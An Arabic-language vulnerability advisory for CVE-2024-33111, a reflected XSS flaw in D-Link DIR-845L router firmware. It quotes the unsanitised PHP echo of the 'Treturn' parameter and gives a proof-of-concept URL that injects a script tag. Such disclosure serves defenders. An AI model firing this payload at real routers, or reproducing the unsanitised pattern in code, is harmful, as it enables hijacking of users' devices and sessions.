CVE-2024-33111

أجهزة التوجيه D-Link DIR-845L الإصدار 1.01KRb03 وما دونه عرضة لهجوم البرمجة النصية عبر المواقع (XSS) عبر /htdocs/webinc/js/bsc_sms_inbox.php.

المكون الضعيف

• /htdocs/webinc/js/bsc_sms_inbox.php

التفاصيل التقنية

يرجع الضعف إلى عدم وجود تصفية في الوسيط $_GET["Treturn"] الذي يُستخدم مباشرة في الكود في السطر 17 من bsc_sms_inbox.php.

مقتطف الشفرة الضعيف:

var get_Treturn = '`<?if($_GET["Treturn"]=="") echo "0"; else echo $_GET["Treturn"];?>';

PoC

http://IP:8080/bsc_sms_inbox.php?Treturn=%27%3C/script%3E%3Cscript%3Ealert(1337)%3C/script%3E